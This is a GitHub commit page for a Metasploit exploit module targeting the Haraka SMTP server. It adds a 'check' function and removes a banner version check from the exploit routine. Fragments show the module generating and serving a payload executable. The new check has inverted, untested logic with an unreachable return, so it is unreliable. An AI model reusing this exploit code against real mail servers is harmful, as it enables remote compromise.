Skip to content

Commit c6dfdd2

Browse files
authored
Implementation of check function
check function written, not tested. removed 3 lines from exploit function that did this check.
1 parent d15ea18 commit c6dfdd2

File tree

1 file changed

+10
-5
lines changed

1 file changed

+10
-5
lines changed

modules/exploits/linux/smtp/harakiri.rb

Lines changed: 10 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -89,7 +89,16 @@ def on_request_uri(cli, request)
8989
@elf_sent = true
9090
send_response(cli, @pl)
9191
end
92-
92+
93+
def check
94+
if datastore['SkipVersionCheck'] and self.banner.to_s !~ /Haraka /
95+
return Exploit::CheckCode::Detected
96+
else
97+
return Exploit::CheckCode::Unknown
98+
end
99+
Exploit::CheckCode::Safe
100+
end
101+
93102
def exploit
94103
@pl = generate_payload_exe
95104
@elf_sent = false
@@ -137,10 +146,6 @@ def exploit
137146

138147

139148
print_status("#{rhost}:#{rport} - Server: #{self.banner.to_s.strip}")
140-
if not datastore['SkipVersionCheck'] and self.banner.to_s !~ /Haraka /
141-
disconnect
142-
fail_with(Failure::NoTarget, "#{rhost}:#{rport} - The target server is not running Haraka!")
143-
end
144149
#
145150
# Initiate the message
146151
from = datastore['MAILFROM']

0 commit comments

Comments
 (0)